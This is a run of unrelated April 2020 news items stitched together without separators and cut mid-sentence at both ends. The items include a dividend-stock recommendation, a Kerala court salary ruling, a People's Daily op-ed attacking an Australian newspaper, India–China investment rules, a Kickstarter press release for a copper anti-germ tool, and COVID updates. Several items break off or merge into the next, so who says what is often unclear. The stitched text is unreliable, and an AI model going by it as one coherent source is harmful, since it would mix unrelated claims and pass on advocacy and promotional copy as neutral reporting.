notably including Botox and antipsychotic drug Vraylar. 2. AT&T Like AbbVie, AT&T (NYSE:T) is a member of the Dividend Aristocrats club, an elite group of S&P 500 stocks that have raised their dividends for at least 25 years. AT&T's streak of dividend hikes now stands 36 years in a row. And its dividend yield of 7% is sure to make investors' mouths water. To be sure, AT&T faces some challenges. Its television business continues to struggle mightily. The company has lost TV subscribers for seven consecutive quarters. AT&T even lost streaming customers in the first quarter of 2020 when many people were stuck at home due to shelter-in-place orders and increased their overall streaming usage. However, this issue doesn't make AT&T an unsafe stock to buy. For one thing, its TV unit remains profitable. The company also will launch its new HBO Max streaming service in May. More importantly, though, AT&T's wireless business continues to perform well. Its wireless network has been named as the best network in the U.S. and the fastest network for five quarters in a row. With greater opportunities ahead as 5G networks are adopted, AT&T should be able to keep its wireless momentum going. 3. Brookfield Infrastructure Partners/Brookfield Infrastructure Corporation I've included both Brookfield Infrastructure Partners (NYSE:BIP) and Brookfield Infrastructure Corporation (NYSE:BIPC) on the list of safe high-yield dividend stock to buy. Brookfield Infrastructure Partners recently conducted a unique kind of stock split to give investors an alternative to buy shares of a corporation instead of a limited partnership, which comes with some tax implications. Brookfield Infrastructure Corporation is a subsidiary of Bookfield Infrastructure Partners, with the two companies economically equivalent. Regardless of which of these two stocks you buy, you'll get a great dividend yield of nearly 5.8%. You'll also own part of a strong infrastructure business that should deliver solid total returns for a long time to come. Brookfield Infrastructure owns and operates infrastructure assets that are highly diversified across sectors and geographical regions. These assets include cell towers, data centers, electricity distribution systems, natural gas pipelines, railroads, toll roads, and more. They're the kinds of infrastructure assets that rake in money regularly in good economic times and when times aren't so great. The long-term growth prospects for Brookfield Infrastructure looks attractive. The company continually evaluates its assets and sells off lower-performing ones to reinvest into new assets with the potential to generate higher returns. Brookfield Infrastructure even refers to itself as a "grow-tility" -- combining the relatively safety of a utility company with stronger growth prospects that most utilities offer. I think both of the stocks under the Brookfield Infrastructure umbrella are great picks for investors seeking high yields that they don't have to worry about. By Express News Service KOCHI: The Kerala High Court on Tuesday stayed for two months the state government's order to deduct the salary of government employees for six days every month for the next five months to raise funds for fighting the COVID-19 pandemic in the state. Justice Bechu Kurian Thomas issued the interim order on a batch of cases including the petition filed by Kerala Water Authority Staff Association-INTUC, Kerala Vyduthi Mazdoor Sanghom (BMS) and Aided Higher Secondary Teachers Association seeking to quash the order. The court observed that there is ambiguity or obscurity in respect to the manner in which the amounts that are proposed to be set apart is to be utilized. It only refers to the financial difficulty that is faced by the government. This financial difficulty is not a ground for the state government to defer the payment of salary. "Prima facie, I find that deferment of salary for whatever purposes may amount to a denial of property," observed the Bench. The submission of the learned advocate general that the government has the power to delay the disbursement of salary by a few months by executive order cannot in the face of law be countenanced. The court could not find any basis for the order in any of the statutes. It could not find any justification for the order neither in the Epidemic Diseases Act as amended by 2020 Ordinance, or in the Disaster Management Act. The sections 38 and 39 of the Disaster Management Act do not specify or confer any power upon any government to defer salary due to its employees during any kind of disaster. The petitioners contended that the government order to defer payment of six days salary of employees every month from April 2020 to August is illegal and without authority. In fact, the deferment has been ordered to tide over the financial crisis faced by the government due to the pandemic. Even though it is named as deferred payment, nothing has been mentioned about the time when the payment would be affected. It is really a deduction of salary permanently. Six days in a month for five months constituted 30 days salary which is equivalent to the salary of one month. They also pointed out that there was no provision empowering the government to withhold a part of the salary of the government employees. The government servants should have been given an option for making a voluntary donation as was done by other state governments and the Centre. The financial capacity of each government servant should have also been considered. Even the deferred payment was admissible only when there was an assurance for release of the deferred payment within a fixed time limit. No such time limit was specified in the order, stated the petitioners. The petitioners said that when the Travancore Devaswom Board order asking to donate a month's salary to the Chief Minister's Distress Relief Fund in the wake of 2018 flood was challenged, the High Court held that no contribution or donation could be effected through compulsion. It had observed that when the amount was collected by compulsion, it amounted to extortion. As a result, the TDB had to withdraw the order. The High Court had held that employees should be given an option to donate salary without any compulsion, based on their financial capacity. Besides, the deferment was ordered to be deposited in a separate treasury saving account, which means that it did not go to the normal state exchequer. It could be utilised by the government without any restrictions at its sweet will and pleasure. Therefore, such a directive in the order was a violation of Article 14 of the Constitution, stated the petitioners. Source: Xinhua| 2020-04-28 18:00:16|Editor: huaxia Video Player Close KAMPALA, April 28 (Xinhua) -- Uganda's ministry of gender, labor and social development on Tuesday issued a stern warning to perpetrators of domestic violence against women and children during the COVID-19 period. Frank Tumwebaze, minister of gender, labor and social development told reporters here that there has been an increase in gender-based violence (GBV) as the country is under lockdown to prevent the spread of COVID-19. "Some of these cases have already claimed lives of Ugandans even before COVID-19 does so," Tumwebaze said, noting that between March 30 and April 28, a total of 3,280 cases of GBV were reported to police. This is in addition to 283 cases of Violence Against Children, according to the ministry. Tumwebaze said those found guilty would face the law. "These acts of violence degrade the dignity of humanity and are therefore unacceptable. The perpetrators of this vice must be dealt with decisively and in a timely manner in accordance with the law," the minister said. He urged law enforcement agencies like the police to act tough against GBV. Uganda instituted a 35-day lockdown, which ends on May 5, to curb the spread of COVID-19. The country currently has 79 confirmed cases of COVID-19 and of these 47 have been discharged after successful treatment, according to the ministry of health. Enditem Modrusic said police will present their findings to the Madison County state's attorney, who will decide if charges should be filed against the worker who made the call. Without identifying himself, the man called 911 about 8 a.m. Tuesday to say someone was inside the warehouse. "He said shots were being fired inside and someone was trying to kill him," Modrusic said. As police raced to the scene, they were told that the suspect was wearing all black clothing and had a bald head, but they didn't know what kind of weapon he had, according to online radio transmissions. A dispatcher relayed to officers that a male caller reported "there was someone in there shooting," in the break room in the southeast corner of the building. The caller said he knew police were there now and the call dropped. Police were trying to trace the cell phone of the original tipster. He apparently had already gone outside with co-workers during the evacuation, Modrusic said. Pontoon Beach Mayor Mike Pagano said the initial report of an active shooter was unnerving. "I don't know if someone brandished a gun or fired a gun," Pagano said. "It's always scary because these warehouses are so big." The Daily Telegraph newspaper in New South Wales of Australia recently defaced Chinas national emblem, evilly associating COVID-19 with China. National emblem is the symbol of a sovereign country and is inviolable. By politicizing the pandemic and labeling the virus, the newspaper has discarded justice, broken through the bottom line of morality, and gravely hurt the feelings of the Chinese people. Such malicious conduct should never be tolerated. The COVID-19 pandemic tests the worlds morality and civilization. The media is the recorder of history, and it should consciously cultivate moral integrity, uphold and defend the basic values of human civilization, and keep the bottom line of human civilization. The national flags and national emblems are important symbols of modern civilization. They express the deep feelings of the people of all countries and represent the noble dignity of all countries. By blatantly stigmatizing China under the excuse of the pandemic and inciting racism, the Australian newspaper has made a move contrary to modern civilization. Virus tracing is a rigorous and serious scientific issue that requires professional expertise. Since the outbreak of COVID-19, the World Health Organization (WHO) has repeatedly stressed that the novel coronavirus could have come from just about anywhere in the world. In a research paper published on The Lancet recently, 16 global health law scholars warned that responses that are anchored in fear, misinformation, racism, and xenophobia will not save the world from outbreaks like COVID-19. Disregarding the warnings of the WHO and the international health law scholars, and openly violating the International Health Regulations, the Australian newspaper did nothing but a shame. Media reports should be based on facts and out of conscience. It is obvious to all that China has made active contributions in defending human rights to life and health. By always putting peoples lives first, the country has consolidated the sound momentum of epidemic prevention and control at home. China actively participates in and propels international cooperation in the fight against the pandemic by adhering to the vision of building a community with a shared future for mankind and advocating the international humanitarian spirit. Both its epidemic prevention and control achievements at home and its role in the global anti-pandemic cooperation are undeniable. Instead of reporting facts, the Australian newspaper called white black out of ideological prejudice, which revealed its lack of professional integrity. The global war against COVID-19 is a race against deaths. Any conscientious and responsible media outlet should play a constructive role in promoting global cooperation in fighting the pandemic. The Daily Telegraph newspaper disregarded the negotiations and condemnation of the Chinese Consulate-General in Sydney and repeatedly carried out malicious slander against China under the excuse of the pandemic. On April 1, the Chinese Consulate-General in Sydney sent a letter to the newspaper, refuting its arrogant and prejudiced pandemic-related reports on China. However, the newspaper later played a similar trick in its reporting and published an article on April 23 saying the illustration of the Chinese national emblem was excellent, continuing to shamelessly discredit China and the Chinese people despite the condemnation from the Chinese Consulate General. It seems that the media outlet has chosen to stand on the opposite of objectiveness and fairness. The facts are self-evident and justice naturally inhabits peoples heart. British academic journal Nature recently issued an editorial titled Stop the coronavirus stigma now on three platforms in Chinese and English respectively, for three consecutive days. In February, the WHO announced the disease caused by the novel coronavirus would be called COVID-19, implicitly sending a reminder to those who had erroneously been associating the virus with Wuhan and China in their news coverage including Nature, the editorial said. That we did so was an error on our part, for which we take responsibility and apologize, it said. Natures clarifying the error in a timely manner shows a responsibility. In contrast, the Daily Telegraph newspaper has exposed its narrow-minded psychology and dark intentions. The racist remarks about the novel coronavirus and the consequent racial discrimination, racial contradictions, and racial conflicts are all blatant provocations against modern civilization that should be resisted by the international community. All responsible media in the world should firmly adhere to justice and jointly protect the basic values of human civilization. (Zhong Sheng is a pen name often used by Peoples Daily to express its views on foreign policy.) Share this article Whatsapp Facebook Twitter Linkedin Belseran Christ (The Jakarta Post) Maluku Wed, April 29 2020 Yohanes Balubun (Courtesy of Aliansi Masyarakat Adat Nusantara) Four years ago, Ruth Lawalata did not expect to bid farewell to her activist husband Yohanes Yonatan Balubun for a final time. In the early hours of April 8, 2016, the former head of the Maluku chapter of the Indigenous Peoples Alliance of the Archipelago (AMAN) passed away at the Dr. M. Haulussy General Hospital in Ambon after spending 24 hours in intensive care. to Read Full Story SUBSCRIBE NOW Starting from IDR 55,000/month Unlimited access to our web and app content e-Post daily digital newspaper No advertisements, no interruptions Privileged access to our events and programs Subscription to our newsletters We accept Register to read 3 premium articles for free Already subscribed? login Sudhir Suryawanshi By Express News Service MUMBAI: In an apparent tit for tat after Uttar Pradesh chief minister Yogi Adityanath's phone call and his concern over the Palghar incident, Maharashtra chief minister Uddhav Thackeray on Tuesday called his UP counterpart and expressed his concern over the death of two Hindu sadhus in the state. Uddhav Thackeray in his phone call to Yogi Adityanath condemned the killing of two Hindu Sandhus and expressed his concern over the incident. We are with you. We expect strict actions as we took in Palghar incident. Besides, no religious colour should be given this incident, Thackeray tweeted. Sanjay Raut, Shiv Sena leader and editor of Saamana did not leave the opportunity to give back to Yogi Adityanath over the killing of two sadhus in Uttar Pradesh. Raut tweeted, Terrible! The killing of two Saints, Sadhus at a temple in Bulandshahar, UP but I appeal to all concerned not to make it communal the way it was tried to make in Palghar incident. He also said Yogi Adityanath will take the strict actions against the culprit in this incident. Maharashtra home minister Anil Deshmukh also condemned the incident. I am confident that Yogi Adityanath will take quick action. We hope this incident will not be communalized like it was tried in Palghar and no controversial statement will be made by any anti-social elements, said Deshmukh. Maharashtra Congress minister Ashok Chavan also condemned the UP incident and demanded a fair probe. Maharashtra Congress spokesperson Sachin Sawant questioned why some sections are so silent over the killing of two sadhus in Uttar Pradesh? When the incident happened in Palghar, Union Home Minister Amit Shah called the Maharashtra CM, I hope he will call Yogi Adityanath over this incident in UP and express his concern. The selective outrage and expressing of concern by the union government and BJP leaders will not work. There cannot be two laws for two incidents. BJP should stop doing politics over every incident and focus on administration and punishing the guilty, he added. Ten questions Sawant asked the ten questions to BJP over Bundasahar incident the Union Home Minister Amit Shah had called Chief Minister Uddhav Thackeray immediately after the Palghar incident. 1. When will he call the Chief Minister of Uttar Pradesh? 2. None of the leaders, including BJP spokesperson Sambit Patra, tweeted a protest. Isn't this murder condemnable? 3. Is there any difference between the sadhus of Palghar and the sadhus of Bulandshahr? 4. The sadhus of Bulandshahr had earlier had a quarrel with the killer. Yet why were those monks not given protection? 5. Why was no immediate action taken against the killer after a quarrel with the sadhus? 6. Is this an intelligence failure of the Uttar Pradesh government? 7. Sadhus are being killed with swords by plotting murder during lockdown, isn't it a failure of Uttar Pradesh government? 8. Is BJP going to demand CBI probe into this murder? 9. After the Palghar incident, will the BJP leaders who demanded the resignation of the Home Minister of Maharashtra, now demand the resignation of the Chief Minister of Uttar Pradesh? 10. Pro-Hindu organizations have called for a "sattvic agitation" after the killing of Palghar sadhus. Some BJP leaders are even giving up food for a while. Now, are these BJP leaders going to go on hunger strike for the second time to protest the killing of sadhus in Bulandshahr? JACKSON COUNTY, MI Lane closures remain in effect this week on I-94 from M-60 to Sargent Road for road and bridge construction. The single-lane closures are in place from 8 a.m. to 6 p.m. on both east and westbound I-94, per the Michigan Department of Transportation. Traffic also is being maintained with a split-merge configuration and reduced speed zones on I-94 from Sargent Road to Elm Avenue. There will also be shoulder closures and reduced speed zones from Elm Avenue to Lansing Avenue, per MDOT. Upcoming work will take place on the westbound I-94 bridge over the Grand River, and crews will prepare the new, concrete westbound I-94 roadway with a separating layer of asphalt. One lane of eastbound I-94 will be placed onto the westbound roadway from Elm Avenue to Sargent Road, and one eastbound lane will remain on the eastbound roadway, MDOT officials said. Pavement repairs are taking place in the right lane of the eastbound roadway in this section right now. Once that is complete, the roadway will get an asphalt resurfacing. Late this week, the right lane of eastbound I-94 will also get an asphalt mix resurfacing from M-60 to Lansing Avenue, per MDOT. The westbound I-94 entrance on Cooper Street remains closed. No reopening date has been determined for the ramp, MDOT spokesperson Aaron Jenkins said. Closures and construction are part of a $110 million project along I-94 in Jackson County. The project started in July 2018 and is expected to be complete this summer. MDOT is having a virtual public meeting at 1 p.m. May 7 on Microsoft Teams to discuss upcoming reconstruction and widening of I-94 from Airport Road to the US-127 and I-94 interchange in Blackman and Leoni townships. Construction is set to take place in 2021, MDOT officials said. To submit questions during the meeting, use the chat feature. For more information on the I-94 project in Jackson County, visit www.michigan.gov/i94jackson. Up-to-date information on road closures can be found at the MDOT project map. More related Jackson news: See the view from Jacksons new I-94 bridge over the Grand River On Monday, new regulations went into effect in Germany requiring residents to cover their noses and mouths with masks while traveling with public transportation or while shopping. Violators of the new order, will face as much as a 5000 fine, as the nation eases down lockdown rules. Each of Germany's 16 states, which are entitled to make their own laws under Germany's federal system, drew up their own set of regulations meaning that the rules are slightly different depending on the region. Chancellor Angela Merkel says regional variations in the lockdown rules are acceptable because some places are virus hotspots while others are not. Germans could be fined up to ?5,000 as wearing a face mask becomes mandatory. In Bavaria, people still going mask-free can be fined 150 (131; $163), but the fine for any shopkeeper who breaks the rules can be 5,000, Suddeutsche Zeitung reports. According to German media, mask-wearing is now required in school corridors and when children go on breaks, but not in the classroom. As at Monday, Germany reported 5,750 deaths from Covid-19 .. Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video The oldest of three brothers and an 11th grader with big hopes for the future, Salgados death has been devastating to his family, who said they never suspected such a crime in their town. They added that Salgado was a typical teenager who could often be found on his PlayStation console, or asking for a few bucks before going to see friends. Even before our world faced this rapidly spreading illness, wed been looking at ways to improve the health and safety of our community. We live in a germy world, and Nudge provides the perfect tool for a little extra protection against getting sick. Nudge, the everyday carry tool designed to prevent touching germy surfaces launched today on Kickstarter. Aiming to help people avoid getting sick from the things they touch every day, this new copper tool is naturally antimicrobial, small and convenient to carry daily. Dont touch that surface. Nudge it. Think about the number of things touched every day. From point-of-sale systems to door handles, bathroom stall latches and elevator buttons, people touch all kinds of germy surfaces every day. The coronavirus pandemic has only made people more aware of the ways viruses can spread through communities. People need a way to complete everyday tasks without the risk of getting sick. Nudge is the non-touch hygienic helper for handles, switches, buttons and more. Designed in a sleek hook shape with rounded knobs, Nudge enables users to carry out everyday tasks without touching germy surfaces directly. As the only tool made from solid pure copper, which has proven antimicrobial properties, Nudge is the must-have everyday carry tool for everyone. Even before our world faced this rapidly spreading illness, wed been looking at ways to improve the health and safety of our community, said Mark Hepworth, creator of Nudge. We live in a germy world, and Nudge provides the perfect tool for a little extra protection against getting sick. Consider the novel coronavirus. A recent study found that the COVID-19 virus can live on hard surfaces like plastic and stainless steel for up to 72 hours and cardboard for up to 24 hours. Other viruses and bacteria, including those that cause influenza and the common cold, are also lurking on surfaces people touch daily. And because no one can control the hygiene of the person who touches a communal surface before them, its important to take measures that are within each persons control. Using Nudge is one such measure. The only hygienic touch tool made from pure copper, Nudge harnesses the natural antimicrobial properties found in copper. After rigorous testing, the United States Environmental Protection Agency registered copper alloys as antimicrobial public health materials. With regard to the coronavirus pandemic, studies have found the virus survives on copper surfaces for up to 4 hours. Its still recommended to wipe Nudge down with cleaning solutions after use, however, for extra protection. Nudge is available to pre-order starting at $16, or 13 and is expected to ship anywhere in the world beginning in May. To pre-order, visit the campaign at pr.go2.fund/nudge. About Exel CNC Exel CNC is a world class design and engineering company based in the UK with a proud heritage and focus on quality products. Our products and equipment have been shipped worldwide and we are experts in manufacturing and fulfillment. Exel CNC traditionally makes robotics and automation devices but diversifies with innovative and useful products such as Nudge. We are fully equipped with state of the art CNC machinery allowing us to manufacture everything in house. We are very pleased to be adding Nudge to our portfolio. Source: Xinhua| 2020-04-28 17:26:43|Editor: huaxia Video Player Close CHANGSHA, April 28 (Xinhua) -- Hailing from Equatorial Guinea, Mba Nchama Pedro Nsue has studied in China for nearly seven years. He said his journey to China was about finding an answer to how a country could develop so fast. "I have loved Chinese culture since childhood and also been curious how China can develop at such a rapid speed, so I came to China to look for the answer myself," said the young man. Having spent seven years living in the country, Mba Nchama concluded that the secret to China's rapid growth is solidarity. "And I believe China can defeat COVID-19 because Chinese people can stick together and fight together," he said. A graduate from a university in northeast China's Jilin Province, Mba Nchama is now pursuing postgraduate studies in electrical engineering at Central South University in China's Hunan Province. "My family called me many times when reports on the epidemic first emerged in China and asked me to return to my country. But I told them not to worry, as I know China very well and I believe China can handle this. So I stayed," he said. He said the university provided free masks for foreign students, checked their body temperatures every day, sent meals to their dormitories and taught them epidemic prevention and control measures. "There were around 250 foreign students from countries including the Democratic Republic of Congo, Madagascar, Turkmenistan and Afghanistan at the campus," he said, adding that the university took care of them and made them feel safe. Since the epidemic has waned, Mba Nchama's life has gradually returned to normal. However, the epidemic situation back in his hometown now concerns him. His parents and five brothers and sisters live in Malabo, capital of Equatorial Guinea. "The number of infections of COVID-19 in my country is still growing. My family members were very nervous. They were a little overwhelmed and did not know what to do. So I shared my experience in China with them and asked them to stay at home, wear masks and wash their hands carefully," he said. He also shared anti-epidemic information with his friends and relatives in his country, suggesting that they should keep their distance from others and refrain from going outside for all but essential purposes. "My brothers and sisters also have to take online courses at home. Sometimes they complained to me that the courses were very boring, but I told them that they could watch the video again if they missed something or failed to catch the teacher," he said. Mba Nchama said he was touched after learning that many Chinese in Equatorial Guinea gave free masks to the locals. "The fight against COVID-19 requires the solidarity and cooperation of all countries. I appreciate that China can stand together with Equatorial Guinea to fight the pandemic," he said. "I want to tell people in my country to unite like the Chinese people and fight against the virus, and we can ultimately achieve victory over COVID-19," he said. Enditem Help India! TCN News New Delhi: As social media floods with hate posts alleging that the coronavirus was a planned conspiracy of Muslims, Popular Front has attempted to respond to this hate campaign by Hindutva forces to demonize the Muslims. Support TwoCircles With an objective to counter the mainstream TV and social media anti-Muslim hate speech, Popular Front has initiated legal action with the help of its cadre network and legal volunteers. The organizations state and district units have filed 1015 complaints against mainstream media and social media accounts in 8 states, identifying the hate mongers posting on online media or airing on broadcast media. While India witnesses numerous incidents of attacks on Muslims across the country as a direct result of this hate campaign, several Muslim traders have been boycotted in northern states. The Popular Front has also extended its response to the issue by sending out 500 rejoinders and notices to different media houses. Additionally, cases were filed in Karnataka, Kerala, Tamil Nadu, Telangana, Rajasthan, Madhya Pradesh, Bihar and Maharashtra for which legal processes are ongoing. In a welcome shift from the normal, the response to this rising Islamophobia by Popular Front, legal follow up has resulted in the arrest of 19 people so far. The campaign to fight anti-Muslim hate news by the organization is continuing as more legal intervention is in order where several such cases are scheduled to be filed the upcoming days. 'India-China economic ties are likely to take a hit in the wake of the new situation, but that also provides India with a new opportunity to strengthen its manufacturing base,' points out Dr Rajaram Panda. IMAGE: Prime Minister Narendra Damodardas Modi, left, and Chinese President Xi Jinping. Photograph: China Daily/Reuters In the midst of the coronavirus pandemic, in a major change in the economic policy announcement, the Government of India on April 18, 2020 introduced new Foreign Direct Investment rules in order to discourage opportunistic investment in Indian companies by some neighbouring countries. The new FDI rules bars automatic investments by neighbouring countries, in a policy targeted at China. This comes after China's Peoples Bank of China raised its stake in India's largest non-banking mortgage provider, the Housing Development Finance Corporation, from 0.8 per cent to 1.01 per cent. As per the new amendment, FDI investments into Indian companies from neighbouring countries will now require a nod from the government. This will be applicable to all countries that share a land border with India -- China among others. The amendment specifies that transfer of ownership of Indian companies arising out of FDI investments from neighbouring countries will now also be subject to government approval. Similar FDI restrictions were earlier placed on Pakistan and Bangladesh. These do not apply to Myanmar, Bhutan, Nepal and Sri Lanka as these countries are not major investors in India. Notified by the Department for Promotion of Industry and Internal Trade, the note stated: 'Government has reviewed the FDI policy for curbing opportunistic takeovers or acquisitions of Indian companies due to the current COVID-19 pandemic.' It further stated: 'A non-resident entity can invest in India, subject to the FDI Policy except in those sectors/activities which are prohibited. However, an entity of a country, which shares land border with India or where the beneficial owner of an investment into India is situated in or is a citizen of any such country, can invest only under the government route.' The note added: 'Further, a citizen of Pakistan or an entity incorporated in Pakistan can invest, only under the government route, in sectors/activities other than defence, space, atomic energy and sectors/activities prohibited for foreign investment. In the event of the transfer of ownership of any existing or future FDI in an entity in India, directly or indirectly, resulting in the beneficial ownership falling within the restriction/purview of the mentioned sectors, such subsequent change in beneficial ownership will also require Government approval.' India's market regulator Securities and Exchange Board of India was monitoring equity transactions in India by Chinese companies and banks. Such transactions came under the scanner at a time when the share prices of companies have dropped due to the economic impact of the coronavirus pandemic. The action taken by India is not new. Globally, transactions by Chinese firms and institutions have come under scrutiny since the assets are being purchased at low valuations. The United States, Japan, Germany, Australia and the Czech Republic have placed similar restrictions on Chinese companies buying assets. As the coronavirus continued to spread across the world, crippling economies, China has taken advantage and tried to maximise profit. That route was not only unethical, but also suspect. Though India did not name China directly, it was obvious that China was the target of its new FDI rules. Beijing's reaction, predictably, was strong. Reacting quickly, it demanded that India revise its FDI norms, terming the move to amend them as discriminatory. It claimed that the move was not in line with India's World Trade Organisation and other multilateral commitments. Beijing said barriers for investors from specific countries violate the WTO's principle of non-discrimination. 'The barriers set by the Indian side for investors from specific countries violate WTO's principle of non-discrimination and go against the general trend of liberalisation and facilitation of trade and investment,' Ji Rong, a spokesperson for the Chinese embassy in New Delhi, said. 'More importantly, they do not conform to the consensus of G-20 leaders and trade ministers to realise a free, fair, non-discriminatory, transparent, predictable, and stable trade and investment environment, and to keep our markets open,' Ji added. 'Companies make choices based on market principles. We hope India would revise relevant discriminatory practices, treat investments from different countries equally, and foster an open, fair and equitable business environment,' Ji stated. India's ministry of external affairs did not react to China's comments immediately. Indian experts specialising in FDI are unanimous in their support for the government's decision. They argued that India's tweaking FDI rules was not in violation of WTO norms that allow countries to make such changes when issues of national security were at stake. They argued that several countries in Europe had changed their laws or made new ones to cope with similar situations. Biswajit Dhar, a professor at JNU, reiterated that India had not violated WTO rules. While agreeing that though India had agreed to keep markets open at the G-20 trade ministers' meet in March, he was of the view that "one has to temper that with the reality on the ground". Indeed, the possibility of hostile takeovers was very much real in the present economic environment. IMAGE: Employees, wearing masks, work on a production line manufacturing display television monitors at a factory in Wuhan. Photograph: China Daily/Reuters India recognises that Chinese investments in India had crossed $8 billion till December 2019. It is true that Chinese investment has driven the development of India's industries, such as mobile phones, household electrical appliances, infrastructure, and automobile, created a large number of jobs in India and promoted mutual beneficial and win-win cooperation. But that does not mean that foreign entities should indulge in predatory trade practices and weaponisation of trade and take advantage of a difficult situation for selfish economic gains. A backlash was inevitable; it was accelerated by COVID-19. Another Indian scholar, Harsh Pant, says India finally bit the Chinese bullet. The increase in Chinese stake in HDFC could be the trigger, but many Chinese actions have come the under scanner before. Even its handling of the COVID-19 has been questioned by many countries. China has been accused of mishandling the COVID-19 crisis when it originated in Wuhan and that it allowed it to spread beyond its boundaries, crippling the lives and economies in as many as 205 countries across the world. There is no denying the fact that China has lost the trust of the world considerably. Japanese and Korean companies having manufacturing units in Chinese cities are being encouraged by their governments to relocate either to their home countries or elsewhere in neighbouring South East Asia and India. Japan, Korea, India and many in Southeast Asia are likely to downsize their trade links with China in the coming months/years, adversely impacting its economy. It is desirable for China to change its policy to buy up distressed assets overseas at cheap rates. India is aware of this possibility and therefore the tweaking of FDI norms was aimed at that. After US President Donald J Trump came to power, he took on China to correct the trade balance that was hugely in China's favour and against the US. That trade war precipitated an aggressive approach by Chinese enterprises with State support to look for other overseas destinations. That seems to have reached a plateau as China has new exposed its own folly, thereby making more critics than friends. As a consequence, the global supply chains are likely to be restructured with India likely to be the new location as Japanese and Korean firms have already started eyeing India. India is likely to respond positively to what Trump had said 'economic decoupling' from China. IMAGE: A production line at the Dongfeng Honda factory in Wuhan. Photograph: Aly Song/Reuters Burgeoning India-China economic ties are likely to take a hit in the wake of the new situation, but that also provides India with a new opportunity to strengthen its manufacturing base. So, in the short run, there could be a little loss but in the long run, it would be advantage India. One aspect of the amended policy that cannot escape attention is that it makes every type of investment by Chinese investors subject to government approval. It does not distinguish between greenfield and brownfield investments; not does it mention listed and unlisted companies. It also does not distinguish between the different types of investors, such as industry players, financial institutions, or venture capital funds. Such a blanket application could create unintended problems. So, should it be a matter of worry that it could send wrong signals to other potential foreign investors? Definitely not. Japan and other middle powers such as South Korea and emerging economies such as Vietnam are attractive choices. Japan and South Korea are already on board. Vietnam and other nations in South East Asia too could jump in, taking advantage of this new normal and deepen economic engagement with India post-COVID-19. It is time for Vietnam too to take the cue from Japan and South Korea and start downsizing its economic engagement with China and look for friendly countries like India and the rest of Southeast Asia for investment opportunities. This is also a good opportunity to give India-Vietnam economic ties a fillip. Dr Rajaram Panda, former Senior Fellow at IDSA, was until recently ICCR India Chair at Reitaku University, Japan. He is currently Lok Sabha Research Fellow, Parliament of India, and Member of Governing Council, Indian Council of World Affairs, New Delhi. [The stream is slated to start at 1:00 p.m. ET. Please refresh the page if you do not see a player above at that time.] New Jersey Gov. Phil Murphy is holding his daily press conference on the Covid-19 outbreak, which has infected more than 111,100 people in the state as of Tuesday, according to Johns Hopkins University data. On Monday, Murphy told CNBC that the state could be headed toward an "Armageddon" scenario, with an inability to fund public schools and police, if it doesn't receive more federal assistance. Murphy has also criticized Senate Majority Leader Mitch McConnell, R-Ky., who signaled support for letting states declare bankruptcy instead of receiving federal funds to cover budget shortfalls. The coronavirus has infected more than 990,100 in the U.S. and has killed at least 56,475. Globally, the coronavirus has infected more than 3 million people and has killed at least 212,345 people. CNBC's Kevin Stankiewicz contributed to this report. Read CNBC's live updates to see the latest news on the Covid-19 outbreak. One man was hospitalized after a small plane crashed into Canyon Lake on Tuesday. First responders were called to the area near the Westhaven subdivision in Comal County at around 10 a.m. after the two-man plane lost power and crashed into the lake, said Robert Mikel, assistant chief for Canyon Lake Fire and EMS. FIND OUT FIRST: Get San Antonio breaking news directly to your inbox "When we got there, the plane was completely sunk and the two men had been able to make it to the shore," Mikel said. One man had minor injuries and was transported to a local hospital and a second man was unhurt, Mikel said The plane was traveling from Midland in west Texas to the New Braunfels Regional Airport. Crews took a fire boat out onto the lake to check for any leaking fluids, but there were none, Mikel said. The scene was then turned over to the Texas Department and Safety and Federal Aviation Administration for an investigation. Taylor Pettaway is a breaking news and general assignment reporter for MySA.com | taylor.pettaway@express-news.net | @TaylorPettaway More than a hundred labourers from different parts of West Bengal got stranded near Farakka barrage in Murshidabad district on Tuesday as police stopped them from moving towards Malda which has been declared a Covid-19 orange zone (districts that have not seen any new case in the last 14 days). The barrage connects south Bengal to the north. Many of these labourers had gone to work in Jharkhand and are returning home. While some are moving on foot, many are riding bicycles. The labourers alleged that they were stopped by personnel from Baishnabnagar police station in Malda. They alleged that police did not allow anyone to move towards north Bengal from Murshidabad district since Monday evening. The tired labourers said they did not have food and water and were sitting beside NH 34. On Tuesday afternoon the Murshidabad district administration provided food and water to the stranded people. Kartik Das, one of the stranded workers who hails from Toofanganj in Cooch Behar district, said, In February, 14 people from our area went to Fulia in Nadia district to work in looms where sarees are made. The loom was shut down after the lockdown was declared. A few days ago we sold our mobile phones and bought some second-hand bicycles to return home. The Malda police are not allowing us to cross the barrage, he said. Another labourer, Gholam Jilani, said, I used to work for a private firm at Durgapur in West Burdwan district. I am from Purnia in Bihar. I repeatedly requested the police to let me go to Malda so that I can cross over to Bihar. They are not cooperating. I am sitting in the open since Monday evening. Jayanta Mondal, a resident of Chanchol in Malda, said, I used to work in a garment factory near Kolkata. The factory is now closed. My home is only 40 km away from Farakka but police are not allowing us to go. For Coronavirus Live Updates He said, We told the police that we are ready for a health checkup and to stay in-home quarantine. But they dont want to listen. More than 100 labourers are stranded at Farakka. A senior Malda district police officer, who spoke on condition of anonymity, said, Common people will not be allowed to move from one district to another during the lockdown. We are following the instruction of senior officers. Malda superintendent of police Alok Rajoria did not receive calls. The HT Guide to Coronavirus COVID-19 An administrative officer said a couple of days ago a migrant labourer from the Manikchak police station area of Malda tested positive for Covid-19. The patient had returned to Malda from Barasat in North 24 Parganas district on 23rd April. This prompted the administration to act. Deputy medical officer of health (Farakka) Sajal Pandit said, More than 100 people are stranded but none are ill. Some police officers have been informed about this. Sub-divisional police officer (Jangipur) Prasenjit Banerjee said, We are aware of the problem. The Murshidabad police have not imposed any restriction. The Malda police are not allowing a single person to enter from Murshidabad. We are trying to find a solution. MEDFORD, Ore. -- Local public health officials began announcing new confirmed cases of the coronavirus in southern Oregon and northern California as of Monday, April 27. Numbers from each individual county will be updated below as soon as NewsWatch 12 receives their latest figures. JACKSON: On Tuesday, Jackson County Public Health said that it had received no new positive test results for COVID-19, leaving the countywide total at 49 cases. The last confirmed case was announced on Friday. Officials said that Jackson County has "one of the lowest" rates for coronavirus in Oregon, at 22 cases per 100,000 people. The highest rate is in Marion County, with 125 cases per 100,000 as of Sunday. Last week, the County reported the number of cases that had fully recovered at the time. Of the 49 cases in the area, at least 33 have recovered while 15 are still being monitored by public health staff. The County advised that the CDC has added additional symptoms to watch for with COVID-19, as people have reported a wide range of symptoms, ranging from mild symptoms 